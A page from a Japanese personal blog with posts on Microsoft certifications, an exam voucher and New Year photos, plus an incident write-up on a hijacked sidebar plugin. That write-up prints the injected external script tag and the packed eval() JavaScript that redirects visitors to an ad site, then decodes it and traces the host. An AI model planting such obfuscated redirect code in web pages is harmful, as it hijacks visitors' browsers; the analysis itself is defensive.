SHADOW RUN -11ページ目

SHADOW RUN

横浜在住のある♂の趣味(バイク、ギター、スノーボード、スロット、夜景、e.t.c.)と日常の出来事について。
最近はIT試験の投稿を主体にしています。

先月、Microsoft社のMCSE: Cloud Platform and Infrastructure資格を取得しました。

Acclaim社と提携しているDigital Badgeも入手しました。バッジは以下です。

規定によると画像はブログ掲載可ということで載せてみました。

 

 

来週末は次のMCSE資格のMCSE: Server Infrastructure 資格取得に向けて受験予定です。

隙間の時間を有効に活用して取得したいところですね。

 

MCSE: Cloud Platform and Infrastructure

https://www.microsoft.com/ja-jp/learning/mcse-cloud-platform-infrastructure.aspx

MCSE: Server Infrastructure

https://www.microsoft.com/ja-jp/learning/mcse-server-infrastructure-certification.aspx

 

 

1年以上振りにログインしました。

最近、IT資格をいくつか受験しています。

2016年10月24日からMCPの再試験が1回だけ無料になるバウチャーを販売しているようです。

早速、買ってみましたので投稿してみたいと思います。

 

Microsoft Learning からメニューの「スペシャルオファー」を開くと確認できます。

https://www.microsoft.com/ja-jp/learning/offers.aspx

 

 

字が黒字で上の画面では見つらいですが、「今すぐ購入」ボタンを押下すると、PEARSONの資格関連ストアサイトのminhubのサイトが立ち上がります。

https://www.mindhub.com/MCP-bundles-practice-test-vouchers-p/Microsoft_Exam_Replay.htm?utm_source=MSFTmarketing&utm_medium=msft_offers&utm_content=weblink&utm_campaign=Exam_Replay

 

Bundled Price: $230.00 USD

とあります。

10/30時点で1ドル104円ですので、23,920円。1,000円増し、といったところでしょうか。

1回分の再試験がついていますのでリスクヘッジになりますね。

 

活用していきたいと思います。

久々(2年半くらい振り)に自身のブログにアクセスしたところ、


http://www.facebookcan.com/」


へリダイレクトされてしまう。なんでしょうか、コレは。




少し調べてみたところ、ブログ管理者が設定できるプラグイン中の外部参照先のソースが改ざんされ、広告サイトに故意に誘導されていた模様。
仕事柄、この手のことには詳しいのですぐ対処しました。
解消方法を掲載しておきます。



■原因
私の場合、Amebaブログのサイドバーにプラグインが配置できる機能を使用していたのですが、特に自分でカスタマイズ可能なフリープラグインを利用してHTMLの描写を付け足していました(Ameba ブログにログイン後以下(1)の画面)。ところが、このフリープラグインの設定領域の先頭行のコードの読み込み先に問題があり、外部スタイルシート読込先(以下(2))ソースはもう存在していませんでしたが、読込JavaScriptにhttp://www.facebookcan.com/サイトへのリダイレクトスクリプト(以下(3))が挿入されていました。


(1)Ameba ブログ サイドバー プラグインの追加画面
http://blog.ameba.jp/ucs/plugin/srvplugininsertinput.do


(2)問題のコード
<link rel="stylesheet" type="text/css" href="http://latia.biz/css/deco.css
" /><div id=fhead></div><script type="text/JavaScript" src="http://latia.biz/js/design-16.js"></script>

(3)http://latia.biz/js/design-16.js
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0="3://4.1.2/";7.8.5.6=0;',9,9,'JavaScriptRedirectURL|facebookcan|com|http|www|location|href|window|top'.split('|'),0,{}))



この(3)に関して少し解説するとJavaSciptの関数の中で「|」区切りの形式でURLの要素を順不同で用意しておき、「|」区切りで分割した各要素のキーワードを連結してリダイレクト先のスクリプトを生成しているようです。容易周到、といったところでしょうか。

この部分から
p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0="3://4.1.2/";7.8.5.6=0;',9,9,'JavaScriptRedirectURL|facebookcan|com|http|www|location|href|window|top'.split('|'),0,{}))

この関数の中の文字列を「|」区切りで分割して配列要素に格納していくと
JavaScriptRedirectURL|facebookcan|com|http|www|location|href|window|top'.split('|')

要素は0から順番に格納され、
Index: String Value
0: JavaScriptRedirectURL
1: facebookcan
2: com
3: http
4: www
5: location
6: href
7: window
8: top

つまり、
'0="3://4.1.2/";7.8.5.6=0;'
の箇所は、要素先の文字列で置き換えると

JavaScriptRedirectURL="http://www.facebookcan.com";window.top.location.href=JavaScriptRedirectURL;

となるわけです。
これでこのJavaScriptを読み込んだブラウザは迷惑業者の思惑通りに誘導サイトへリダイレクトします。


■対処法
挿入されていた上記(2)のコードを削除すると元通り、広告サイトへのリダイレクトは解消しました。


過去に挿入した外部サイトのブログパーツのソースコードが書き換わったか、といったところでしょうか。
いずれにせよ、数年前に作成したプラグインですので先頭行を追加したのかどうかもわかりません。

また、このサイト、確認すると米国のサーバですが中国の業者が運営しているサイトのようです。
少しだけ追ってみました。


■HTTP Response情報から迷惑サイトの情報を探る
「(2)問題のコード」を配布しているWebサーバへのHTTP Response情報をHTTP Request/Responseの解析ツール:Fiddlerを使い確認してみると、スタイルシートは既にリクエストした階層には存在していないようですが、WebサーバがIIS6.0であることからまずWindows Server 2003シリーズのサーバであることが分かります。

0902_fiddler

次にリクエストしたcss資材が無い状態で何やらIISが文言を返却していますが、かのGoogle先生に一部を翻訳していただくと、タイトルヘッダの文字は「无法找到该页」とありましたが、中国語(簡体)で「ページがみつかりません」と翻訳できました。
サーバのロケーション言語が中国語でセットアップされているようです。つまりサーバの運営業者の国籍は中国、と捉えるのが自然です。

※HTTP Responseヘッダ(HTTP Request - http://latia.biz/css/deco.css)
HTTP/1.1 404 Not Found
Content-Length: 1308
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 14:15:15 GMT
(以下略)


■IPアドレスから迷惑サイトのロケーションを突き止める
コマンドプロンプトからpingコマンドでIPアドレスを確認します。

C:\>pathping www.facebookcan.com

www.facebookcan.com [199.59.243.120] へのルートをトレースしています
経由するホップ数は最大 30 です:
0 mycomputer [192.168.1.4]

(中略) 契約プロバイダの中継サーバ

6 p181.net061211176.broadline.ne.jp [61.211.176.181]
7 as32787.ix.jpix.ad.jp [210.171.224.197]
8 unknown.prolexic.com [72.52.56.35]
9 * * *
統計を 200 秒間計算しています...
ソースからここまで このノード/リンク
ホップ RTT 損失/送信 = Pct 損失/送信 = Pct アドレス
0 mycomputer [192.168.1.4]
0/ 100 = 0% |
(中略)


これもGoogle先生に所在を調べていただくと、USのレンタルサーバ業者のサーバであることがわかりました。しかも短時間にサイトURLが非常に多く検出されています。
迷惑用途で運営されているサイトのようです。

0902_1

0902_2


迷惑なサイトですね。

新しい年がやってきました。
2012年はいろいろと思い通りにいかない年でもあったが、今年はいい年になるといいな
photo:02


photo:03


photo:04


photo:05





iPhoneからの投稿
久しく来てなかったな。
6年振りかぁ…

photo:01


photo:02





iPhoneからの投稿